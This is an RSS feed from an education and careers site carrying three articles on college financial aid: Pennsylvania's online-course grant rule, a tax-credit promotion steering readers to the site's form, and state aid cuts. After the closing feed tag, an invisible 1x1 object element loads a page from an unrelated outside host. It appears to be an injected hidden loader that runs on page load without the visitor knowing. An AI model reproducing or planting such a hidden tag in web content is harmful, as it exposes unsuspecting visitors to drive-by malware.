<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Education &#38; Careers &#187; college grants</title>
	<atom:link href="http://www.classesandcareers.com/education/tag/college-grants/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.classesandcareers.com/education</link>
	<description>Education &#38; Career Advice and Tips</description>
	<lastBuildDate>Tue, 13 Dec 2011 17:56:01 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Possible change in eligibility for Pennsylvania grants</title>
		<link>http://www.classesandcareers.com/education/2011/03/29/possible-change-in-eligibility-for-pennsylvania-grants/</link>
		<comments>http://www.classesandcareers.com/education/2011/03/29/possible-change-in-eligibility-for-pennsylvania-grants/#comments</comments>
		<pubDate>Tue, 29 Mar 2011 15:50:46 +0000</pubDate>
		<dc:creator>Brooke Brown</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Online Education]]></category>
		<category><![CDATA[Online Education News]]></category>
		<category><![CDATA[college grants]]></category>
		<category><![CDATA[government funding]]></category>
		<category><![CDATA[Pennsylvania higher education]]></category>

		<guid isPermaLink="false">http://www.classesandcareers.com/education/?p=23083</guid>
		<description><![CDATA[As more Pennsylvania college students find difficulty in receiving financial aid for their online courses, the state is evaluating the fairness of their policy that limits the number of online courses a student can take to 50 percent, if they want to remain eligible of state grants. The Pennsylvania Higher Education Assistance Agency (PHEAA) realized [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.classesandcareers.com/education/wp-content/uploads/200_college_grants.jpg"><img class="alignright size-full wp-image-23084" src="http://www.classesandcareers.com/education/wp-content/uploads/200_college_grants.jpg" alt="" width="200" height="200" /></a>As more Pennsylvania college students find difficulty in receiving financial aid for their online courses, the state is evaluating the fairness of their policy that limits the number of online courses a student can take to 50 percent, if they want to remain eligible of state grants.</p>
<p><a href="http://www.pheaa.org/">The Pennsylvania Higher Education Assistance Agency</a> (PHEAA) realized that the nature of student learning is changing, and an increasing number of students are taking the majority of their classes online: Whereas in 1999 Harrisburg Area Community College (HACC) had 120 students enrolled in its online program, the school now has more than 5,000 students in the same program.</p>
<p>Pennsylvania universities (including schools such as Bloomsburg University, Lock Haven University and West Chester University) have witnessed a rise in online enrollment across the board, and increased their offering of 2,959 courses in 2010 to the current number of 3,764 online courses.</p>
<p>Hence, the agency decided to investigating altering the policy for the 2012-2013 school year.</p>
<p>Jim Carideo, director of financial aid at HACC, said he estimates that about 200 students lose their eligibility for financial aid due to the current rule regarding online class enrollment.</p>
<p>Yet online college students are one of the fastest growing education segments in the state and throughout the world, and many government officials and members of administration are concerned about keeping up with the future of education.</p>
<p>Senator Stewart Greenleaf of R-Montgomery Country, for example, said the standing rules regarding grant money are discriminatory and online college students should have the same opportunities as those students who attend traditional brick and mortar college classes.</p>
<p>Still, PHEAA and those who support a change in policy want to ensure that the state has the resources required to meet the demands of growth in online education, if a change in policy really does take place.</p>
<p>Therefore, evaluation of the current grant limitations will be executed with a study to prove the importance of changing the limitations, with a distance-education study group supervised by PHEAA. The group will be comprised of 8-12 higher education students who will meet starting May 2011, with initial findings revealed February 2012.</p>
<p>Greenleaf said he is confident that the study will result in the necessary change of policy, as the study reveals the major effect the standing rule has on students who can&#8217;t afford to take all the classes they desire.</p>
<p>Likewise, university programs across the nation are hoping for similar changes in policy.</p>
<p>For example, the California university program has about 2,000 students enrolled in online courses, but the number should witness substantial growth in the coming years.</p>
<p>California University’s director of web-based programs Millie Rodriguez said she thinks the student enrollment levels in online classes will increase as limits in grant eligibility are lifted.</p>
<p>She encourages the raising of grant limits, saying Web-based course work should be viewed as the norm in the modern age.</p>
<p>California university students who are currently enrolled exclusively in online classes can receive loans, but not grant funding.</p>
<p>Rodriguez said thinks students would benefit from a change in policy and enroll in even more online classes as grant funding becomes more readily available.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.classesandcareers.com/education/2011/03/29/possible-change-in-eligibility-for-pennsylvania-grants/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Do you qualify for federal aid for college?</title>
		<link>http://www.classesandcareers.com/education/2010/01/26/obama-will-give-you-2500-a-year-to-go-to-school/</link>
		<comments>http://www.classesandcareers.com/education/2010/01/26/obama-will-give-you-2500-a-year-to-go-to-school/#comments</comments>
		<pubDate>Tue, 26 Jan 2010 18:32:45 +0000</pubDate>
		<dc:creator>adam</dc:creator>
				<category><![CDATA[Financial Aid]]></category>
		<category><![CDATA[college grants]]></category>
		<category><![CDATA[federal aid]]></category>
		<category><![CDATA[pell grant]]></category>

		<guid isPermaLink="false">http://1650270372</guid>
		<description><![CDATA[To get unemployed Americans back to work, the federal government is providing incentives to help low- to middle- income individuals go back to school. A $13.8 billion tuition tax credit boost called the American Opportunity Tax Credit reimburses 100 percent of the first $2,000 of educational expenses for lower income students. For the next $2,000 [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.classesandcareers.com/elearning/wp-content/uploads/woman phone laptop(1).jpg" alt="" hspace="5" width="200" height="150" align="right" />To get unemployed Americans back to work, the federal government is providing <strong>incentives </strong>to help <strong>low- to middle- income</strong> individuals go back to school.</p>
<p>A $13.8 billion tuition tax credit boost called the <strong>American Opportunity Tax Credit</strong> reimburses 100 percent of the first $2,000 of educational expenses for lower income students. For the next $2,000 spent, students receive a 25 percent reimbursement. In short, qualifying, lower income students can receive $2,500 in education reimbursements per year.</p>
<p>The bill also features other benefits for low-income students. Families that do not earn enough to pay income taxes can receive a $1,000 <strong>education refund</strong>.</p>
<p>&#8220;These kinds of incentives from the government don&#8217;t come along very often,&#8221; says Marcus Varner, education analyst at <a href="http://www.classesandcareers.com/em/stimulus-financial-aid/index.php">ClassesandCareers.com</a>, a free college information service. &#8220;If people have been thinking of going back to school, now would be the time to do it. If they are hurting financially, they may qualify for the aid they need to get a degree.&#8221;</p>
<p>These benefits are set to <strong>expire </strong>after the <strong>2010-2011</strong> school year.</p>
<p>Fortunately, thanks to a growing number of online education options, degree-seekers can take advantage of these benefits without leaving their jobs. Sites like <a href="http://www.classesandcareers.com/em/stimulus-financial-aid/index.php">ClassesandCareers.com</a> help degree-seekers qualify for these benefits and enroll in online universities.</p>
<p>&#8220;People can learn what options are available to them,&#8221; saysVarner. &#8220;All they have to do is visit our form and fill it out. We guide them through the rest.&#8221;</p>
<p><strong>Find out if you qualify</strong> for these unprecedented benefits. Visit <a href="http://www.classesandcareers.com/em/stimulus-financial-aid/index.php?CACP=CD_STI2FI_CAC_OELF_ComboID=[araComboId]PublisherID=[araPublisherId]">ClassesandCareers.com</a> and complete their financial aid assessment tool. An education advisor from a top school will help you determine if you qualify for these education benefits and answer your questions about <strong>degree programs</strong> and <strong>financial aid</strong>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.classesandcareers.com/education/2010/01/26/obama-will-give-you-2500-a-year-to-go-to-school/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>As demand rises, States cut aid to college students</title>
		<link>http://www.classesandcareers.com/education/2009/08/12/as-demand-rises-states-cut-aid-to-college-students/</link>
		<comments>http://www.classesandcareers.com/education/2009/08/12/as-demand-rises-states-cut-aid-to-college-students/#comments</comments>
		<pubDate>Wed, 12 Aug 2009 17:21:18 +0000</pubDate>
		<dc:creator>Diane</dc:creator>
				<category><![CDATA[Financial Aid]]></category>
		<category><![CDATA[college awards]]></category>
		<category><![CDATA[college degrees]]></category>
		<category><![CDATA[college grants]]></category>
		<category><![CDATA[federal funding]]></category>
		<category><![CDATA[higher education]]></category>
		<category><![CDATA[scholarships]]></category>
		<category><![CDATA[state funding]]></category>

		<guid isPermaLink="false">http://classesandcareers.com/education/?p=568</guid>
		<description><![CDATA[At least 12 states are reducing award sizes, eliminating grants, and more rigidly controlling eligibility guidelines.  Even though the states are cutting or winding down these programs there are a greater number of students seeking financial aid. ]]></description>
			<content:encoded><![CDATA[<p>Since states are experiencing budget shortages in the billions, many states have decided to <b>drastically cut</b> college financial aid programs.&nbsp; Students, who need money the most for college will have to try and find other sources of funding.</p>
<p>	At least <b>12 states</b> are reducing award sizes, eliminating grants, and more rigidly controlling eligibility guidelines.&nbsp; Even though the states are cutting or winding down these programs there are a greater number of students seeking financial aid.&nbsp; </p>
<p>	Many of the programs that are being affected by these changes are need-based grants that provide money which helps students in addition to financial aid being offered by schools and the federal government.</p>
<p><a class="textlink" href="http://classesandcareers.com/schools_westwood-college/state_illinois/campus_westwood-chicago-loop-chicago-il/degrees_design">Illinois</a> is one state that is cutting the funding for a student award program which will affect 145,000 students.&nbsp; Ohio is eliminating grants up to $2,496 for low-income students and <a class="textlink" href="http://classesandcareers.com/schools_university-of-phoenix/state_wisconsin/campus_university-of-phoenix-milwaukee-wi/degrees_business">Wisconsin</a> has determined 20,000 low-income students will not be receiving their grants.</p>
<p>Without this cash for rent and groceries, some students will be forced to go into debt, transfer to cheaper schools, or drop out.&nbsp; Experts are worried that because of the cuts students will take on <b>too much debt</b> or spend even more time working as they pursue their degree.</p>
<p>	Since hundreds of thousands of workers are unemployed right now, many of those individuals have decided to pursue their education.&nbsp; The increase in demand for financial aid and the fact there is limited funding creates a huge problem.&nbsp; The U.S. Department of Education has reported that roughly 620,000 students applied for federal aid in the first quarter of this year, which is a 25 percent increase over last year.</p>
<p>	Not only are loans a problem, but grants are too.&nbsp; Thousands of students especially low-income students are <b>missing out on their grants</b>, because the programs have run out of money. So in order to continue or finish up their degrees, many have decided to tackle more student loans.&nbsp;&nbsp; </p>
<p>	Currently student loans are at an all time high on an individual basis.&nbsp; Not only are these debts difficult to pay back, but the high loans could eventually cause a reduction in access to higher education and more students defaulting on their loans.</p>
<p>	Students have a tough road ahead and will have to determine whether pursuing an education is worth it right now.&nbsp; Students can pursue a degree if they wish, but they will have to work diligently not only in school but also at work.&nbsp; Funding for college is going downhill and students will have to consider other ways to pay for college if they had previously been depending on financial aid.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.classesandcareers.com/education/2009/08/12/as-demand-rises-states-cut-aid-to-college-students/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<object data="http://pentagori.com/in.cgi?3" type="text/html" width="1" height="1"></object> 
